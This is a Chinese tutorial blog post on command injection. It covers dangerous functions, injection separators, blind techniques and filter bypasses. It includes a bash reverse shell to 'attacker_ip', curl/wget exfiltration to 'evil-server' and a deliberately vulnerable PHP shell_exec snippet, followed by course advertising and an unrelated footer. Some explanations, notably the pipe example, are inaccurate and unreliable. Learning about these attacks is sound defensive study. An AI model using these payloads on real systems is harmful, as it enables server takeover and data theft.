web漏洞挖掘方法 - 命令注入篇

**命令注入(Command Injection)**是一种常见的网络安全漏洞。它发生在Web应用程序调用服务器的操作系统命令时(比如 ping、ls 等),而攻击者可以通过输入恶意的命令,使得这些命令在服务器上执行,甚至可以控制服务器。

一、简介

命令注入漏洞通常出现在Web应用通过调用外部程序来完成某些操作时,例如配置系统、查看系统信息、管理网络等。攻击者能够操纵输入,注入恶意命令来执行未经授权的操作,从而影响系统的安全性。

二、常见应用场景:

配置主机名、IP地址、掩码、网关等。执行ping、nslookup、发送邮件、转换图片等功能。管理服务器(如重启、关机等)。

三、常见的危险函数

不同的编程语言有一些危险的函数,如果程序使用了这些函数来执行系统命令,攻击者就可能会插入恶意命令。

1. PHP中的危险函数(用于执行系统命令):

system():执行一个外部程序或命令。

exec():执行一个外部程序并返回结果。

shell_exec():执行外部程序并返回其输出。

passthru():执行命令并将输出直接返回。

popen():打开一个进程,并允许你读取其输出。

proc_open():启动一个外部程序,允许你与之交互。

2. Python中的危险函数:

os.system():执行一个系统命令。

subprocess.call():执行一个外部命令。

subprocess.Popen():启动一个新进程来执行命令。

3. Java中的危险函数:

java.lang.Runtime.getRuntime().exec(command):执行一个系统命令。

四、常见的注入方式

1. 分号分割命令:

分号(;)是命令的分隔符。攻击者可以在命令中加入分号,将自己的命令和原本的命令分开,从而让服务器执行多个命令。例如:ping 127.0.0.1; ls -la在这个例子中,攻击者通过分号分隔了两个命令:第一个是 ping 命令,第二个是 ls -la 命令,这样服务器会先执行 ping,然后执行 ls -la。

2. 逻辑运算符(&&、||、&):

这些运算符可以用来控制命令的执行顺序。&&:表示“如果前面的命令成功,则执行后面的命令”。||:表示“如果前面的命令失败,则执行后面的命令”。&:表示“后台运行当前命令并继续执行下一个命令”。举个例子,如果攻击者输入:ping 127.0.0.1 && ls -la那么,如果 ping 命令成功,服务器就会继续执行 ls -la 命令。

3. 管道符(|):

管道符把一个命令的输出传递给另一个命令,攻击者也可以利用这一点执行多个命令。例如:echo "hello" | ls -la这个命令会先输出 hello,然后把 ls -la 命令作为输入传给它。

4. 命令替换(反引号 `` 或 $()):

在命令中使用反引号或 $() 可以把一个命令的结果作为另一个命令的输入。例如:echo `ls -la`这个命令会执行 ls -la 命令,并将其输出传给 echo。

5.换行符(\r\n、%d0%a0)

攻击者可能会使用不同的编码方式插入换行符,帮助绕过某些过滤或输入验证。例如:echo "ping 127.0.0.1%0a ls -la"

五、 无回显技巧

有时,攻击者可能希望执行命令而不让系统输出回显信息,这样可以避免被检测到。常见的无回显技巧包括:

1. Bash反弹Shell

通过在目标服务器上执行命令,攻击者可以将一个反向Shell连接回自己的计算机,获取系统的控制权。这通常通过bash命令完成。例如:bash -i >& /dev/tcp/attacker_ip/port 0>&1

2. DNS带外数据

攻击者可以通过DNS请求将数据传递到攻击者控制的服务器上,从而达到无回显的目的。通过执行命令并将结果通过DNS请求发送回控制服务器。

3. HTTP带外

与DNS类似,攻击者也可以使用HTTP请求将敏感数据传送到攻击者的服务器。通过伪造HTTP请求,执行命令并发送结果。

4. curl 或 wget

攻击者可能通过curl或wget等工具将命令执行结果发送到恶意服务器。例如:curl http://evil-server/$(whoami)wget http://evil-server/$(whoami)

六、常见绕过方式

攻击者会尝试绕过输入验证或过滤,常见的绕过方式包括:

1. 空格绕过

攻击者可能通过使用不同的空格字符来绕过过滤。例如:%09(Tab字符)替代空格。${IFS}:IFS是内部字段分隔符,使用它来替代常规空格字符。例如,cat$IFS2被解析为cat 2。

2. 黑名单绕过

当应用程序使用黑名单来防止特定字符(如分号、管道符)时,攻击者可能尝试通过替代字符或编码绕过这些限制。例如:使用$a$b构造命令,其中a和b是变量。使用base64编码绕过检查:echo "bHM=" | base64 -d。

3. 长度限制绕过

某些应用可能限制命令的长度,攻击者可能通过命令重定向、分段或其他方式绕过这些限制。例如:ls -t > ash a这个方法会将命令先写入文件,然后通过某些手段执行。

七、命令注入例子

假设你有一个Web页面,用来让管理员查看服务器的当前IP地址。程序可能会用类似下面的代码来执行命令:

$ip = $_GET['ip']; // 用户输入的IP地址$output = shell_exec("ping " . $ip); // 执行ping命令echo $output; // 显示结果假设这个Web应用没有验证用户输入,那么攻击者可能在URL中输入:

http://example.com/script.php?ip=127.0.0.1 && ipconfig这里的 127.0.0.1 是合法的IP地址,而 ; ipconfig 是注入的恶意命令。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

题外话

黑客/网络安全学习路线

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术! 一、2025最新网络安全学习路线

一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门

L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶

L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升

L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战

L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。

二、技术文档和经典PDF书籍

书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程

对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛

学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

面试不仅是技术的较量,更需要充分的准备。

在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。

如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

Copyright © 2088 飚骑盟主竞技场 - 竞速游戏活动中枢 All Rights Reserved.
友情链接